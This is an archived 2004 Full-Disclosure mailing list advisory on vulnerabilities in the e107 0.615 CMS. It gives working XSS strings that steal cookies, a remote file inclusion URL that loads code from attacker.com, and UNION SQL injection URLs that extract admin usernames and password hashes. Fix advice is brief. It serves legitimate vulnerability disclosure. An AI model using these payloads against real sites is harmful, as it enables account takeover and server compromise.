[Full-Disclosure] [waraxe-2004-SA#031 - Multiple vulnerabilities in e107 version 0.615]

From: Janek Vind (come2waraxe_at_yahoo.com)
Date: 05/29/04

  • Next message: debian-security-announce_at_lists.debian.org: "[Full-Disclosure] [SECURITY] [DSA 509-1] New gatos packages fix privilege escalation"
    To: full-disclosure@lists.netsys.com
    Date: Sat, 29 May 2004 12:42:39 -0700 (PDT)
    
    

    {================================================================================}
    { [waraxe-2004-SA#031]
                              }
    {================================================================================}
    {
                              }
    { [ Multiple vulnerabilities in e107
    version 0.615 ] }
    {
                              }
    {================================================================================}
                                                          
                                                          
                      
    Author: Janek Vind "waraxe"
    Date: 29. May 2004
    Location: Estonia, Tartu
    Web: http://www.waraxe.us/index.php?modname=sa&id=31

    Affected software description:
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    From the official e107 Website - e107 is a portal /
    content management system powered
    by PHP and mySQL that gives you a totally dynamic and
    professional website out of the box.
    It's simple wizard type install process will have you
    up and running in 5 minutes,
    and best of all it's completely free.

    Homepage: http://e107.org/

    Vulnerabilities:
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    First of all, some conditions have to be met on victim
    server, to be vulnerable:

    1. "register_globals" must be "on"
    2. mysql must be version 4.x with enabled UNION
    functionality.

    Now, let's discuss those security flaws:

    A - Full Path Disclosure:
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    Many software developers, webmasters, admins and other
    IT staff are underestimating
    the full path disclosure as security bug. Anyway, this
    information - full path to
    script - must be kept in secret, when possible, or it
    will be as little piece of the
    puzzle amongst many other pieces, which finally will
    lead to successful attack on the
    website.

    A1 - many scripts can be accessed directly and this
    will provoke standard
    php error messages, which leads to full path
    disclosure. Examples:

    http://localhost/e107_0615/e107_plugins/alt_news/alt_news.php

    http://localhost/e107_0615/e107_plugins/backend_menu/backend_menu.php

    http://localhost/e107_0615/e107_plugins/clock_menu/clock_menu.php

    http://localhost/e107_0615/e107_plugins/counter_menu/counter_menu.php

    http://localhost/e107_0615/e107_plugins/login_menu/login_menu.php

    ... and many-many more, needed to be fixed!

    B - Cross-site scripting aka XSS
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    Potential attacker can use xss to steal the cookies,
    to read cross-domain forms,etc.
    Finally it can lead to admin account compromise and
    ovetakeing of the website.

    B1 - xss in clock_menu.php through direct access of
    the script:

    http://localhost/e107_0615/e107_plugins/clock_menu/clock_menu.php?clock_flat=1&LAN_407=foo%22);
    //--%3E%3C/script%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

    B2 - xss in feature called "email article to a
    friend":

    attacker must be logged off and will enter to
    inputfield "logged name" this:

    foobar'><body onload=alert(document.cookie);>
     

    B3 - xss in feature called "submit news":

    Attacker is logged off and will enter to inputfield
    "logged name" this:

    foobar'><body onload=alert(document.cookie);>

    B4 - xss in "user settings":

    attacker is logged on and makes POST request like
    this:

    http://localhost/e107_0615/usersettings.php?avmsg=[xss
    code here]

    C - Remote file inclusion:
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    Remote inclusion - this is VERY DANGEROUS security
    hole. If php is configured
    with "allow_url_fopen=on" and there is no firewall,
    which blocks outbound connections,
    then potential attacker can force VICTIM's php engine
    to parse ATTACKER's php code!!
    This can lead to shell-level server compromise (if
    there are permissions to execute
    system commands) with "nobody" or "apache" privileges.
    Attacker can then try some
    local r00t exploits and finally server is 0wned ;)

    C1 - remote file inclusion in "secure_img_render.php"
    script:

    http://localhost/e107_0615/e107_handlers/secure_img_render.php?p=http://attacker.com/evil.php

    Remark: "register_globals" must be "on" to be
    successful in exploitining in this way.

    D - Sql injection
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    Through sql injection potential attacker can gather
    from database any information he wants.
    Including admin's username and password's md5 hash.
    There are only 1...2 steps more to admin's
    account overtakeing...

    D1 - critical sql injection bug #1 in "content.php"
    script:

    http://localhost/e107_0615/content.php?content.99/**/UNION/**/SELECT/**/null,null,null,
    CONCAT(user_name,CHAR(58),user_email,CHAR(58),user_password),null,null,null,null,null,null,
    null,null,null/**/FROM/**/e107_user/**/WHERE/**/user_id=1/*

    D2 - critical sql injection bug #2 in "content.php"
    script:

    http://localhost/e107_0615/content.php?query=content_id=99%20UNION%20select%20null,
    CONCAT(user_name,CHAR(58),user_email,CHAR(58),user_password),null,null,null,null,null,
    null,null,null,null,null,null%20FROM%20e107_user%20WHERE%20user_id=1/*

    D3 - critical sql injection bug in "news.php" script:

    http://localhost/e107_0615/news.php?list.99/**/UNION/**/SELECT/**/null,null,
    CONCAT(user_name,CHAR(58),user_email,CHAR(58),user_password),null,null,null,null,null,
    null,null,null,null/**/FROM/**/e107_user/**/WHERE/**/user_id=1/*

    How to fix:
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    First of all, i suggest to use newer version 0.616,
    which seems to be patched
    against above discussed bugs. And of course, you are
    welcome to visit forum on my
    homepage at http://www.waraxe.us/forum/ , where you
    can find tutorial about manual fixes.

    See ya there!

    Greetings:
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

    Greets to Raido Kerna and to
    http://www.gamecheaters.us staff!
    Special greets to icenix for helping me in bughunting!

    Contact:
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

        come2waraxe@yahoo.com
        Janek Vind "waraxe"

        Homepage: http://www.waraxe.us/

    ---------------------------------- [ EOF ]
    ------------------------------------

            
                    
    __________________________________
    Do you Yahoo!?
    Friends. Fun. Try the all-new Yahoo! Messenger.
    http://messenger.yahoo.com/

    _______________________________________________
    Full-Disclosure - We believe in it.
    Charter: http://lists.netsys.com/full-disclosure-charter.html


  • Next message: debian-security-announce_at_lists.debian.org: "[Full-Disclosure] [SECURITY] [DSA 509-1] New gatos packages fix privilege escalation"

    Relevant Pages

    • File reading vulnerable in PHP and MySQL (Local Exploit)
      ... Attacker can use PHP and mySQL to read some local file following this way: ... PHP Code: viewfile.php ...
      (Bugtraq)
    • [waraxe-2004-SA#031 - Multiple vulnerabilities in e107 version 0.615]
      ... Affected software description: ... by PHP and mySQL that gives you a totally dynamic and professional website out of the box. ... Potential attacker can use xss to steal the cookies, to read cross-domain forms,etc. ...
      (Bugtraq)
    • Re: Script stops running during while()
      ... that processes records returned by a MySQL query. ... The HTML page continues trying to load the page but the php has stopped running and eventually I get a timeout. ... I have a new PC and had to re-install php, Apache and MySQL ... The script executed perfectly on my old PC ...
      (comp.lang.php)
    • Re: newbie MySql script question
      ... how do I run this script? ... the best way to administer a mysql ... you have not written any php. ... or just start up mysql and type your SQL statements at the mysql prompt ...
      (comp.lang.php)
    • Script stops running during while()
      ... I have a php script which simply stops midway through a while loop ... that processes records returned by a MySQL query. ... - I have a new PC and had to re-install php, Apache and MySQL ...
      (comp.lang.php)